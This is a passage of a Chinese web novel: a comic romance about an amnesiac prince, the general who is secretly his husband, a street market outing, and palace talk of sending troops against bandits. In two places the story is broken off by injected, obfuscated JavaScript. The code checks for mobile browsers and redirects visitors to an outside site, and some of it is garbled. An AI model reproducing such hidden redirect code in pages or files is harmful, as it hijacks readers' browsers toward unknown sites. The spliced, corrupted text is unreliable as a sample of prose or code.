许新卓看热闹不嫌事大,问道:“那你不觉得这样有问题?” 孟祈安反问:“有什么问题?” 许新卓:“没有问题没有问题。” 孟祈安:“你好奇怪啊,我受伤淮屿忙前忙后,你第三天了才露面,要么人家是我挚友呢!” 许新卓想笑又不敢太夸张,想提醒又怕挨将军问责,憋得他难受:“好好好,他是你挚友。” “对了,太傅公子王松清你还记得吗?” “记得,善习堂王太傅的大公子嘛,他现在做官了吧?官拜几品?” “没有!”许新卓道,“他没做官,整日云游四方,这不,来信说还有三日就回严华城了,我的意思是,我们许久未聚,殿下若是身体允许,叫上一起吃顿饭呗。” 孟祈安:“好啊!我也好奇王松清现在是什么模样。” 、 晚膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147453|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时。 谢淮屿:“不可。” 孟祈安:“为何?” 谢淮屿:“你的身体还未痊愈。” 孟祈安:“我没事,大不了小心一点不碰到手腕子。” 谢淮屿:“不可。”一点商量的余地都不给。 孟祈安见他油盐不进,不爽道:“我不是在征求你的同意。我只是知会你一声。” 谢淮屿看向他。 他又找补了一句:“也是邀请你一起。王松清你也认识的,还有吴玉宣、秦牧、许新卓他们。” 谢淮屿:“我不去。你也不许去。” 孟祈安愣了半天,觉得他所言匪夷所思,筷子一撂说道:“谢淮屿,你是我什么人,凭什么约束我?” 谢淮屿对他突如其来的一句硬话戳了心窝子。孟祈安对他百依百顺,他不喜欢的事从来不会勉强,甚至会在他开口前就默契地先替他拒绝了,多少年他都没听到孟祈安说这种话了,差点忘了安亲王曾经也是个脾气很硬的人。 他叹了口气,放软语气说道:“你若想念朋友,便约他们在王府相聚,如此也免去了奔波劳累。你喜欢什么菜式,瓜果,点心,我明日命人去采买。” 孟祈安见他让步,心中不快顿时消失,说道:“挚友,你比本王的王妃还要细心,什么都替我想好了。”本来是句玩笑话,他说完自己先脸红了一下,拿起筷子埋头吃饭。 喝完晚上的药,又到了沐浴的时候。 安王乖乖抬起手臂,让大将军帮他脱衣。 但与昨晚不同的是,谢淮屿始终离他很远。更衣如此,擦洗的时候更是只在他身后。 谢淮屿也没办法,中午孟祈安起了反应他是知道的。他能怎么办?只能速战速决。洗好给孟祈安套上新衣,系上腰带,不成想还是条合欢带。青藕两色交缠,寓意合欢恩爱,巧的是,他腰间是一模一样的一条。 谢淮屿咬了下唇,修长的手指轻颤着给他打结。 孟祈安心中起了不小的波澜。什么情况?谢淮屿的腰带怎么与我的一样?难道他穿的是我的衣服?他一个大将军,自己没衣服吗?不会,定是他来得急,没带够衣物。无妨,多给他几件也无妨。不过合欢带是我跟王妃的,我得把王妃那件找出来丢掉,莫要再配成一对,不合适。 他这么想着,回寝室就翻箱倒柜起来。 侍女问他找什么他也不说。找了半天也没找到一件女式的衣裙,更别提珠钗首饰了。衣箱里都是男装,而且有很多成对的里衣、腰带、玉佩、宫绦,还有不少黑色的衣服。先皇后说他穿浅色好看,他也是这么以为的,极少穿深色的衣服。可是衣箱里有一半都是玄色、绀色、朱红。他甚至还找到了武将服。 “奇怪。”他摩挲着下巴,“这些衣物明显不是我的……” “是我的。”谢淮屿走进内间,“有什么问题吗?”他实在不知该如何解释,没收拾起来是因为谁也想不到安亲王会亲自“整理”衣箱啊。 孟祈安不可思议地看着他,想起他曾经说过“住在这里”。 为什么?镇北大将军为何会住在我的府上? 难道…… 都说谢大将军为人勤俭,爱兵如子,与罗傲大战时行军,从来都是跟将士们同吃同住,虎父无犬子,谢大将军如此,谢淮屿定也是如此!难道是皇兄给的军饷不够?他变卖了将军府充军,所以竟在严华城没有落脚的地方了? 他看谢淮屿的眼神都不一样了,走过去用没受伤的那只手拍拍镇北大将军的肩,说道:“放心吧兄弟,你是我孟祈安的挚友,有我一口吃的,就决计不会饿着你!” 谢淮屿:“……”虽然听不懂,但感觉并不是什么好话。 4. 第 4 章 过完年,温度起伏伏,前几日还下雪,今日却出了大太阳,严华城内的积雪一夜之间几乎全化了。 孟祈安憋闷得厉害,想要出去走走。 于是他去找谢淮屿。 走到双清别院书房门口,他见里面有人,就在外面等。 等了见半刻不见有人出来,他探头探脑地张望,内里商议事务似乎没完没了,他便回他的院子了。 没见到谢淮屿,他心情不好,刚走进院子,一大滴雪水从树梢上落下来,正中他的脑门。 侍从赶紧上前,递上了手帕。 孟祈安不爽地擦着水,自言自语道:“为何我要出门,还得经过他的同意?” 侍从叫季青,从小跟着他伺候,人很机灵,说道:“殿下不是要经过大将军同意,而是尊重大将军。” 这话说得两方不得罪,孟祈安听着舒服,点头道:“你说得对,他是客,我得尊重他。” 他走了两步问季青:“昨晚他在哪儿睡的?” 季青:“双清别院。” 安王:“他一直住着双清别院?” 季青:“呃……倒也不是。” 孟祈安:“也是,双清别院就在隔壁,他跟我们夫妻俩住那么近,于理不合。” “……”季青,“王爷,大将军他挺关心您的。” 孟祈安进屋,把大氅脱了:“嗯,我知道。” 季青接过,又说:“大将军对您比任何人都好。” 孟祈安:“他与我是挚友兄弟,自然要好。” 好家伙,真是一点不记得了。季青无话可说,问道:“王爷,您想去哪儿?” 孟祈安:“我跟淮屿列了单子,他说今日去采买,我也想跟去街上转转。这几天在府中憋得实在难受。” 季青:“那我让慧副将跟大将军说一声?” 孟祈安突然想起谢淮屿让慧云飞看管他的事,喊道:“季青,大氅!不用跟他说,我自己去不就得了,真是的。” 银狐裘围领暖和和的,衬得他俊美矜贵面如冠玉。他照照镜子,将兜帽戴上,遮住额上的细布。 美滋滋地走到门口,就被拦了下来。 慧云飞抱拳道:“殿下。” 孟祈安:“慧副将,今日当值呀?怎么不在军营驻地,在我王府门口?等大将军呢?” 慧云飞生得人高马大,孟祈安身材颀长,在人群中已是鹤立鸡群,他比孟祈安还高出一个头,往孟祈安跟前一站立刻将他笼罩在阴影下。 孟祈安心道,我竟是从这虎将眼皮子底下跑出去的?我真出息了啊!说起来还没问过淮屿为何拼了命也要去寻他。 “殿下,属下并非在等大将军。” “哦?难不成你在看大门?” 慧云飞:“正是。” “……”还特么堵我呢?孟祈安:“多谢慧将军,安王府竟劳烦慧将军看门,这么说……我堂堂安亲王府没人了吗?!” 他一嗓子吼出来十个府兵。 虽说都是人高马大的青壮年,但跟慧云飞一比,简直就是十根豆芽菜。 十个府兵小跑过来。 “……”看着他们整齐划一地跑到慧云飞身后列队,孟祈安更心塞了。 慧云飞:“大将军有令,殿下不能离开王府。若是离开,须得大将军陪同。” 孟祈安回头看了一眼,富丽堂皇的大门上横书匾额【安亲王府】。 没错啊。 他怒从心起,大声道:“本王是安王,这是安王府,本王连出入自己府邸的自由都没有了?荒唐至极!” 他们在门口吵闹,不少百姓远远驻足围观。 慧云飞:“请王爷理解。” 孟祈安:“本王今日这门还非出定了不可!”说着举步跨过门槛。 慧云飞一堵墙一样挡在他面前。 “慧云飞!你这是大不敬!”孟祈安推了他一下,对方纹丝不动。 慧云飞对他不敢高声,恳切道:“王爷,属下感恩您上次求情,但也请您体谅体谅。上回您偷了匹马跑掉,因此受了伤,大将军心疼坏了,您可是大将军的心头肉命根子,万不能再出差池。” “你敢拦我!我就……”孟祈安,“你说什么?我是谢淮屿的什么?” 慧云飞捂嘴。 孟祈安回想了一下这两个形容,心头肉、命根子。心里狠狠一荡。 这一荡漾,心脏差点顺嗓子眼出去,要杀人的气势立马没了,反生出一丝羞赧。 不对! “你你你这形容说的什么啊,属实过分了!我跟淮屿是兄弟,什么心头肉……那是形容挚友兄弟吗?慧将军,不能只习武,也得多读书。” 慧云飞:“……” “殿下!殿下!” 孟祈安正欲绕过他继续走,就瞧见太医院院使拨开围观的人群挤了过来。 院使是带着皇兄的旨意来的,回头还要回皇宫给皇兄复命,他不能不理会,只得先回去让院使复诊。 “殿下用的是最好的金疮药,额头不会留疤,放心。”院使给他换了药,说道,“伤筋动骨一百天,腕子还得养上三个月。” 谢淮屿:“失忆之症如何?” 孟祈安偷眼瞧他,这人一听说院使来了,军务不理了,撂下一众军将就来找他,当真是关心他。 不过心头肉命根子还是太过了。 “摸着脉象平和有力,应是有好转的……”院使问道,“安王殿下可有想起什么?” 孟祈安如实回答:“没有。” “奇怪……”院使拈须沉吟道,“那老夫再换几味药试试。” 他提笔写方子,孟祈安问:“本王能出去转转吗?” 院使笑道:“今日天气晴好,雪也化了,自然是可以出门的,只是切忌劳累注意保暖。” 孟祈安:“好好好,今日本王要上街!”说完余光看了眼谢淮屿。 谢淮屿来的路上听慧云飞说了门口的事,轻叹道:“我陪你去。” 两人没带侍卫,季青跟着,就上了街。 严华城最繁华的安通大街离王府只两条街的距离。 今日是消寒节,按照大承习俗,百姓们会在这天祈求春天早早到来,街上都是商贩,热闹非凡。 孟祈安戴着兜帽手笼,哪个摊位都要凑过去看看,看什么都新奇。 “这是什么?”他拿起一串珠子,木头石头都有,十八颗样样不同。 季青:“是十八子,最近两年流行起来的,据说祥龙寺的十八子保平安最是灵验。” “回头去求一串。”孟祈安兴奋道,“给我的王妃。” 谢淮屿:“……”我已经有了。 “这鸡倒是活灵活现。”孟祈安又挤到捏面人的摊位前,拿起一只黄色大公鸡。 季青:“话本《天若有情》中女主角的灵宠,灵宝凤凰。” 孟祈安默默放下了。 “这个呢?”他指指摊位上另一个眼歪嘴斜的,能看出是个人,手里拿着一根黑棍儿,在其他众神兽中显得格外突出。 季青:“这捏的是大将军……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147454|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟祈安:“噗哈哈哈哈哈!” 谢淮屿:“……” 摊主小姑娘不乐意了:“公子笑什么?谁知道大将军长什么样啊?还不都是根据话本子想象捏的,一千人心中有一千个大将军,各个都一样有什么意思!” 谢淮屿拉着他想走。 孟祈安擦擦笑出来的眼泪,问她:“不是,大将军还有话本子呢?” 小姑娘激动地如数家珍:“当然!市面上当属大将军的话本子最受欢迎!公子郎君们爱看《大将军百里奇袭罗傲营》、《重生之我在大将军麾下当副将》以及《玄铁神枪一出谁与争锋》。娘子小姐们最爱的则是《错嫁随军,我与大将军不得不说的故事》、《军帐变闺帏》……” 孟祈安笑得肚子疼:“哦豁,这么厉害呢!” 小姑娘仿佛找到了知己,眼睛发光道:“不过最受欢迎的还是《滔天溺爱》之互宠系列,讲的是大将军和安王爷……” 谢淮屿啪地一声将一锭银子拍在桌上:“面人我要了!包起来!” 小姑娘找不开这么大的银锭,听谢淮屿说不用找了,兴奋地跳起来高喊:“有钱买话本子喽!!” 谢淮屿提溜着孟祈安往前走。孟祈安揶揄道:“今日我高低得找几本你的话本子看看。哈哈哈哈!大将军你可是为我大承文化传播立下了汗马功劳!” 谢淮屿:“……” 其实王府原来有不少,谢淮屿去巡视之时,孟祈安独守空闺,最大的爱好就是看他和谢淮屿的话本子。大将军回来之后翻了翻,被里面不堪入目的内容气得直翻白眼,丢下一句“淫丨秽伤身”就全给烧了。当时可把孟祈安心疼坏了。 如今可不能给他再买。尤其是他现下失忆,若是看了恐怕要气急攻心,更是伤身。 总之一路上扥着人采买,龙卷风一般速战速决回到了王府。 孟祈安逛了个寂寞,不太开心。 不知是不是院使的新药的作用,吃过药、洗了澡他就开始犯困。走到床边一头栽倒睡了过去。 谢淮屿给他摆正,盖好被子,坐在床边看了他一会儿。见他睡得安稳,亲了下他的唇,打算在外间的软塌上睡,方便照顾,还能免得那日的尴尬重演。 侍女搬掉矮桌,铺好了床。 季青:“大将军,要不您去别院睡,我来照顾王爷。” 谢淮屿拒绝了,别人都道他疼爱王爷,其实他是想万一孟祈安早上想起了他,能第一时间看到他。 睡到半夜,他听见有动静,一睁眼,就看见孟祈安光着脚,晃晃悠悠地从内间走了出来。 “祈安?”他轻唤了声,借着月光他看见孟祈安甚至没有睁眼。 孟祈安扁扁嘴,顺着他的声音走过来。 “祈安?醒醒。” 孟祈安没有反应,径直走过来在他身边躺下。 梦游了?谢淮屿心想。 孟祈安贴着他,闻到熟悉的香气就不动了。但软塌不比床,还是窄。谢淮屿便把他抱起来,送回了里间床上。 可谁知过了半个时辰不到,他又跑了出来。 谢淮屿往里面挪了挪,抱着他,把被子盖在两人身上。 “小九……”孟祈安梦中叫着谢淮屿的乳名,“小九儿。”边唤边找谢淮屿的唇,找到了便深深吻住…… 第二天一早,孟祈安发现自己是在软塌上醒来的。 虽然想不通为何,但感觉神清气爽,心情也大好。 一早上没见谢淮屿,正无聊呢,许新卓来了:“明日在你府上摆宴,我想着先将美酒搬来。” 5. 第 5 章 皇宫。 谢淮屿身着官服走过宸路,来到含元殿暖阁。 今日关顺帝在此召见他。 暖阁大门紧闭,内侍宦官周常在门口站着,说明暖阁里面现下有人,见到他低声问道:“大将军,安王殿下可好?” 谢淮屿回道:“劳烦周公公挂念,祈安外伤见好,失忆之症尚未有起色。” 周常宽慰他道:“殿下小时候身体孱弱,大风大浪都过来了,相信很快便能记起来。陛下宠爱安王爷,安王爷坠马后,吃不好睡不好惦记着,每日三次传太医院问话……” 谢淮屿:“待祈安好些,我带他来给陛下请安。” 周常微笑点头,道:“那大将军请稍候,老奴去通传。” 片刻之后,周常出来引着谢淮屿入内。 暖阁内温暖和煦,熏着龙涎香,隔着半透的万里江山图屏风,谢淮屿隐约看到个纤薄的人影,于是在屏风后面停住脚步。 “淮屿来了?过来说话。”皇帝唤道。 他这才绕过屏风。 屏风后的人他认识,是曾经的八皇子,现在的宣亲王,孟祈生。 “陛下。宣亲王。”他单膝跪地行君臣之礼。 皇帝:“爱卿免礼。” 孟祈生朝他颔首,微笑道:“大将军,许久未见,近来可好?”他声音不大,温柔和善,如同他这人一样令人如沐春风。 谢淮屿还未说话,皇帝抢了他的词儿说:“他很好,就是他那夫君、你我的幼弟安宝前几日坠马摔破了头。” 孟祈生不顾失态惊呼一声,关切之意溢于言表:“九弟受伤了?情况怎样?现下如何了?” 谢淮屿:“祈安外伤并不严重,每日服用太医院的药,失忆之症应也是很快便能好。” 孟祈生惊愕:“失忆了?” 皇帝摇摇头叹道:“只记得十岁之前的事了。”又说,“院使跟孤回报,九弟这些年身体康健,恢复记忆是迟早的事。淮屿,他这几日精神可好?可有一蹶不振?” 谢淮屿答道:“祈安精神很好,昨日还同臣一起到消寒节市集采买游玩。” 皇帝:“你瞧瞧,八弟你瞧瞧,孤就说,祈安性子最是豁达,这点儿小毛病岂会让他难过!他一个富贵闲散的亲王,就算一辈子想不起来,也不影响他的心情。” 孟祈生眉头散开,表情和缓了许多,小声说:“那九弟应该还记得我。”看似松了口气。 皇帝笑道:“你还是跟小时候一样,跟九弟关系亲近,对了淮屿,我听说九弟明日要在王府设宴?” 谢淮屿:“是。请了城中三五好友。” 皇帝:“那祈生也去,他见了你定会高兴。” 孟祈生紧张道:“人那么多我就不去了,等后天九弟午睡起来我再去看他……或者大将军要是不介意,等一会儿我跟你一起回去……” 皇帝点了点他,怒其不争道:“都快而立之年了,还是如此怯懦慎微。没有一点亲王的风范。” 孟祈生被皇帝训,更紧张了,额头直冒汗,说话都结巴了:“臣、臣弟是……” 皇帝摆了摆手道:“罢了罢了,雄州路途遥远,你一路过来辛苦了,回去休息吧。” 孟祈生还想说什么,但皇帝赶人了,他咬咬牙只能退下。 他走后,皇帝手中盘着沉香佛珠,起身走到窗边说:“我们兄弟九人,除了九弟与我一母同胞血缘亲厚,就属八弟与我最亲近。” 八皇子孟祈生比孟祈安大两岁,小时候也在善习堂读书。不过谢淮屿对此人印象不深,只记得他总是坐在最后一排;太傅提问,十有八九答不出来,久而久之就不爱叫他了;下课就不见人影,也不跟学子们玩闹说笑;许新卓是他的伴读,但却跟孟祈安关系更好。总之是个没什么存在感的皇子。 孟祈安这个碎嘴子最喜欢缠着谢淮屿说话,恨不得把认识的所有人的家世都八卦出来。谢淮屿即使对八卦不感兴趣,被他磨耳朵磨得也记住了一些。孟祈生的生母本来是先皇后的侍女,生了孟祈生之后晋了位份,成了修媛,对孟祈安来说,修媛是个经常跟在母后近旁、他淘气惹祸母后责罚他时,会跪下替他求情的好人。 谢淮屿对宫闱之事从不往心里去,只觉得孟祈安生下来就是集万千宠爱于一身的人。 周常进来通传,身后跟着一名戎装将军。 来人是谢淮屿他爹的旧部下,陆云旗陆将军。陆将军出身将门,在谢淮屿他爹手底下立过不少军功,后来被召回严华城,做了中军副统领。中军负责护卫皇都和皇宫,驻扎在副城,谢淮屿这些日子就是受他所托,操练中军。 “陆爱卿来得正好。”皇帝道,“淮屿,孤叫你们来,是为了出兵雄州剿匪的事。前几日你照顾祈安,我就先与陆爱卿聊了聊,今日想听听你的意见。” “雄州这几年匪患严重,州军师老兵疲分身乏术……匪患成灾,民不聊生……”皇帝深深叹气,说道,“雄州太守担心因为办事不力被孤免职责罚,故迟迟没有上书求援。八弟的封地就在雄州,他……恐怕也是下了很久的决心才动身来严华城找孤求助。” 皇帝看向谢淮屿道:“他此次前来是请孤派大将军前去领兵剿匪永绝后患。” 谢淮屿抱拳:“陛下,臣义不容辞。” 陆云旗道:“大将军战无不胜攻无不克,但末将认为正因如此更不可轻易前去剿匪。大将军乃是坐镇边关的镇北大将,罗傲国、全道国、高鱼国不敢轻举妄动,正是忌惮边防军的和大将军的神勇,所以切不可大材小用。” 他单膝跪地请愿道:“末将愿前往雄州剿匪,为陛下分忧!” 皇帝正是此意,点头道:“陆将军统领中军多年,战绩斐然,由你去雄州孤很放心。淮屿,你说呢?” 谢淮屿躬身道:“陆将军征战沙场多年,领兵经验丰富,臣无异议。” 皇帝:“既然大将军没有异议,那陆云旗,孤命你五日内动身前往雄州上任节镇大臣,调派雄州州军剿匪,务必在三月之内清剿所有匪患!” 陆云旗高呼:“末将领命!” 谢淮屿出了暖阁,发现大冷天的,宣王没走,身后跟着一名小厮,在离着暖阁八丈远的墙根底下站着。 见谢淮屿出来,一脸忧心地迎上来:“大、大将军……” 谢淮屿:“殿下,叫我淮屿就好。” 孟祈生:“好,淮屿。”他攥攥拳头,紧张地问道,“九弟当真不要紧?” 谢淮屿:“他很好,殿下若是不放心,便随我回去看看。” 孟祈生:“好、好。”他跟在谢淮屿身旁,问道,“皇兄可有与你说剿匪的事吗?” 谢淮屿:“陛下已经下旨剿匪事宜交由陆云旗将军统领,他不日便会前往雄州。” 孟祈生:“我不是不相信陆将军,但……我还是希望你去。淮屿,雄州的匪患盘踞于西南山林之中,占了山下百余村镇,多年来雄州太守不闻不问,他们已成势力。不瞒你说,西南山林离我封地剑屏城四百余里,本不关我的事,但数月前,已有西南的流民涌入剑屏城,我差人按照流民所说去查探,才知雄州西南已大片落入匪患的手中。” “皇兄不信我我可以理解,我从小就人言轻微……再加上雄州太守刘景的请罪奏章先我一步抵达御前,将那悍匪势力轻描淡写带过……皇兄恐怕认为我是在夸大其词危言耸听。” 谢淮屿皱眉,说道:“殿下所言,臣记下了。臣会将其中利害告知陆将军。殿下放心,陆将军行军作战经验丰富,他此去雄州上任节镇大臣,接管太守手中的州军,定然不会像之前一样尸位素餐。圣旨已下,还请殿下放心。若有任何变故,臣会立即请旨亲自前往。” 孟祈生:“有你这句话,我便放心多了。”他紧锁的眉头总算放松了些,说道,“你小时候便是个言而有信,十分可靠的人。” 谢淮屿:“殿下谬赞。”两人行至皇宫门口,他问道,“殿下的马车呢?” 小厮提醒道:“回大将军,王爷让马车先回去了。王爷,咱今天还约了人,您忘了?” 孟祈生面露难色道:“啊,本王忘记了,今日约了太傅……太傅说会让马车来接我,可九弟那边……这可如何是好?” 谢淮屿见他真心忧心弟弟,宽慰道:“祈安并无大碍,臣现在出发找陆将军议事,殿下今日先去赴约,明日空了再去探望祈安也不迟。” 、 安王府水榭。 孟祈安跟许新卓说:“我昨晚做了个梦,想了半天也想不出该跟谁说。” 许新卓吃着侍女端上来的茶点道:“跟你家王……呃……大将军说呗。” 孟祈安面色凝重道:“不行。不能跟他说。” 许新卓知道不让他说他难受,端起茶壶道:“说吧。” 孟祈安:“我昨晚梦见王妃了。” 许新卓一听来了兴致,笑道:“哦?长啥样?” 孟祈安:“我梦见我与王妃成婚,他穿着大红的喜服,蒙着红色绣金的盖头,我们拜了天地拜了高堂和皇兄,又行夫妻对拜,然后入了洞房。” 许新卓一脸兴奋,他老早就好奇全大承国唯一一对夫夫如何行那洞房之礼了,可惜孟祈安嘴虽碎,但从不提床笫之事,如今见他主动提及,催促道:“然后呢然后呢?” 孟祈安:“他坐在床沿,我走过 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孟祈安:“怕到是不怕,他也是为了我好,我要是心生怨怼,抱怨出口,怕他伤心。” 许新卓:“这有什么?你跟他说清楚,都是男人,没那么小心眼儿!” 孟祈安胡思乱想道:“难道他与王妃是亲戚?王妃托他管束我?” 许新卓:“可能吧。” 孟祈安:“你也不知道?” 许新卓的头摇得像拨浪鼓:“不知道不知道,我什么都不知道。” 孟祈安下了决心:“罢了,今晚我就跟他说清楚!” 、 傍晚,孟祈安还在水榭内,督促侍从们摆上席案和美酒,为明日的宴请做准备。谢淮屿回府后亲自来唤他用晚膳,他却一梗脖子说:“不吃!” “……”谢淮屿,“为何不吃?” 孟祈安:“你让我吃我就吃,凭什么?” 谢淮屿:“凭现在已过戌时,再不吃当心不消化。” 孟祈安:“……”好有道理。怎么办?我该怎么反驳? 谢淮屿太了解他了,他眼珠子一动就知道在憋坏水,但他现在是个病号,小孩子心性,不能太计较,劝道:“晚膳有你喜欢的松鼠鳜鱼。” 孟祈安吞了吞口水。 行吧。看在鳜鱼的面子上。 鳜鱼面子确实大,裹着蛋液炸至金黄,然后淋上经过他改良的特制糖醋卤汁,橙红鲜亮,外酥里嫩,令人食指大动。是他从小到大最爱的菜式之一。 然而……谢淮屿拿筷子剥了三四块下来,放在小碟子上推到他面前。 “什么意思?”孟祈安瞪着他。 谢淮屿:“太医说你不能吃太多油炸的。” 孟祈安只觉胸中一股浊气腾起,无处发泄。 谢淮屿见他不动筷子,又给他夹了两块,说:“不能再多了。” “不吃了!”孟祈安筷子一摔站起来,扭头就走。 季青和侍女们面面相觑,低着头谁也不敢说话。 谢淮屿追上去,听孟祈安气鼓鼓地坐在床边说:“什么都要管我,连多吃几口鱼都要管!我的安王府送给你得了!” “我多吃点鱼会死啊!” 谢淮屿:“别胡说。我是希望你能快些恢复记忆。” 孟祈安听了他关心的话,心情顿时好了点,但还是闹着别扭:“我就要吃。” 谢淮屿哄小孩似的哄他道:“炸鱼少吃点,多吃点蔬菜、嫩牛腩和排骨,拿卤汁拌饭行吗?” 给台阶安王就下:“行吧。” 吃得太晚果然不太消化,温泉不泡了,安王站着请大将军帮忙冲水洗刷。 他想起许新卓的话,都是男人,也不偷偷看了,改明目张胆地欣赏谢淮屿的身子,可看了一眼就心跳加速,一低头看到谢淮屿脖子上有两个红印。 两个红印像两颗小草莓在白皙的脖颈上分外惹眼。 “你今日去哪儿了?”他问道。 谢淮屿:“去了宫中。” “一天吗?” “下午去了中军营,怎么了?” 孟祈安眯着眼睛狐疑地盯着他:“你骗人。不让我出门,自己跑出去寻花问柳!” 谢淮屿一盆水泼在他身上:“瞎说什么!?” 孟祈安抹了把脸,指指他的脖子:“哪儿来的?” 谢淮屿愣了半天才明白他指的是昨晚他梦游留的吻痕,气他怀疑自己,怒道:“狗啃的!” 6. 第 6 章 安王府水榭前,湖中央有一汪泉眼,同寝室后面的温泉一样,也是源自灵山,只不过是冷泉。泉水清冽,即使是冬日也咕嘟嘟向上翻腾着。湖水西侧挖有河道,怪石嶙峋、花草繁盛,仿的是山涧野溪。湖水晴光潋滟,泛着片片金光,即便岸边垂柳、湖中荷花只剩枯枝,也丝毫不会让人觉得冷。 先皇老来得子,将孟祈安当眼珠子般疼宠,赐的安王府自然是在这最有灵气的地方。 孟祈安身上裹着狐裘,下巴颏埋在柔软的狐狸毛间,冬日暖阳辐照他身上,黑发如瀑、唇红齿白,粉雕玉琢,仿若画中的谪仙,令人移不开眼。 可坐在湖边愣神的这位,托着腮帮子,脸上写满了怏怏不乐。 水榭中,他请来的几位至交这酒喝也不是不喝也不是。 “怎么了这是?”御史公子秦牧小声问道,“谁惹咱们安王殿下了?新卓,你不是说他精神很好吗?” 许新卓夹了一筷子菜放进嘴里:“不知道。” “能让殿下这么不高兴的,还能有谁?”户部尚书家的公子吴玉宣笑道,“对了,怎么不见淮屿?” 许新卓:“不知道。” 秦牧:“你何时见大将军参加过筵席?” 吴玉宣:“也是,小时候在善习堂,他散了学就去宿卫军校场。后来殿下看上人家了,日日跟在屁股后面去。不过你别说,自从殿下开始往校场跑,身体倒是康健了许多!” “我至今不明白殿下究竟看上谢淮屿哪点?”一白色布衣的公子突然开口嘲讽。其他人都往水榭门口张望,只有他稳坐席上,喝酒吃菜。 “松清,你这话可酸死了。”秦牧直言道,“一开始大伙跟着殿下对付淮屿,就属你馊主意多,殿下追求淮屿,却不见你出主意了。我倒想问问,你究竟看不上淮屿哪点?” 王松清转过头来,狭长的双目盯着秦牧。他瘦瘦高高,面容清丽,配上纤尘不染的布衣,气质出尘,当真人如其名,如冬日松柏清冽高冷。 可说出的话却是伤人的:“一介武夫。” 秦牧:“他一介武夫?那咱们兄弟都是无用书生了!” 许新卓的目光钉在王松清脸上,说道:“你回来,大伙都高兴,殿下甚至为你准备了筵席接风。你要是不喜欢淮屿,就自己压在心里,别说出来找不痛快!” 王松清听出他发火了,且不论关系好与不好,丞相公子也不是他能得罪得起的,于是一言不发喝闷酒。 吴玉宣拎着酒壶打圆场道:“哎,都是朋友,松清只是还在怪淮屿当年驳了太傅的面子。不过那时候都是孩子,淮屿又刚从边关回来,第一次进善习堂,难免会有言行不当的地方。松清,你也是,连太傅都没有怪罪,你就别揪着陈年往事不放了。” 王松清却没有就坡下驴,说道:“殿下是被他迷惑了,才会不惜牺牲前途也要娶他为妻。” 秦牧:“这话可不兴说啊,殿下已然是王爷,还要什么前途?”再奔就要当皇帝了! 王松清:“殿下博学多才,风华绝代,若是任个一官半职,肯定能与古代贤臣比肩。可与谢淮屿成婚之后,为了避嫌,他只能做个闲散王爷。而且,男人与男人成婚,违背礼制纲常、有伤风化,长此以往,百姓争相效仿,国将不国!” “……” “……” 许新卓嗤道:“不至于上纲上线吧,他俩成婚六载,也没见民间有谁哭着喊着非要娶男妻啊。再说感情的事是命里注定的,效仿不来。” 秦牧:“松清,你跟太傅真是亲父子,当年满朝文武无不为殿下的深情打动,只有王太傅无动于衷,跪谏陛下收回赐婚旨意。我爹下朝归家给我学过,跟你说的那套词一模一样!你云游四方多年,怎么越来越古板了?” 王松清:“秦牧,你家大女儿快满六岁了吧?妾室生的二儿子和小女儿是龙凤胎,过了年也五岁了。许兄家只有夫人,但也为许兄诞下了慧儿,玉宣家中妻妾更多,多子多福。殿下若是娶了贵女为妻,现在早已为人父了……” 三人不说话了,孟祈安与谢淮屿在一起,注定不会有子嗣,除非孟祈安纳妾。 王松清:“我是为殿下好,你们也与殿下是发小至交,难道不替他惋惜吗?” 许新卓最了解好友,说道:“殿下对淮屿情深意切,有无子嗣对他而言并不重要。有人喜欢儿孙满堂,有人喜欢一生一世一双人。我尊重殿下的决定。” 秦牧:“对啊,我也尊重殿下的决定。” 吴玉宣:“我确实不能理解殿下,硬邦邦的男人有什么好的……” 王松清点头道:“殿下当初对谢淮屿情根深种,没有跟女人试过,若是试过一次,说不定就爱上了,若是再有了孩子,生米煮成熟饭……” 许新卓:“王松清,你逾矩了!我警告你,殿下虽然失忆,但并没有忘了与淮屿的情意!你要是敢多言,我定要秉明陛下!” 王松清移开视线,端起酒杯一饮而尽道:“我只是为殿下鸣不平,放心吧,我什么都不说什么也不做。” 两人间的气氛剑拔弩张,秦牧劝道:“行了行了,新卓你不是不知道松清的臭脾气,他向来刀子嘴豆腐心,直言不讳。来来来!喝酒!” 他和吴玉宣举起酒杯,王松清脸上阴霾散去,抬了抬手。许新卓盯着他,犹豫了一下,也端起酒杯。 然而他正要喝酒,余光瞧见独自在外边伤春悲秋还不许人过去的安王殿下拿起一个酒壶就要往嘴里灌。 “!!”他扔下杯子就冲了出去,夺下孟祈安的酒壶,“殿下,你喝什么呢?” “你可不能喝酒!淮屿早上嘱咐我不能让你喝一滴酒,你……”他打开壶盖闻了半天,没闻到酒味,“这什么玩意?” 孟祈安幽怨地看着他。 “哦,是果丁茶。” 孟祈安怒道:“谢淮屿……又是谢淮屿。阴魂不散!” 他现在一听到谢淮屿的名字就一肚子火。 昨晚沐浴的时候,那家伙居然把布巾丢在他脸上,让他自己擦干,然后把他一个人丢在温泉就走了,最后衣服还是喊季青帮自己穿的。 “不想帮忙就别帮,我还没说什么呢,他先发上脾气了!一定是做了亏心事,心虚了!”孟祈安眼眶红红自言自语道,“他在严华城没有府邸,我好心好意收留他,他居然这么对我……” 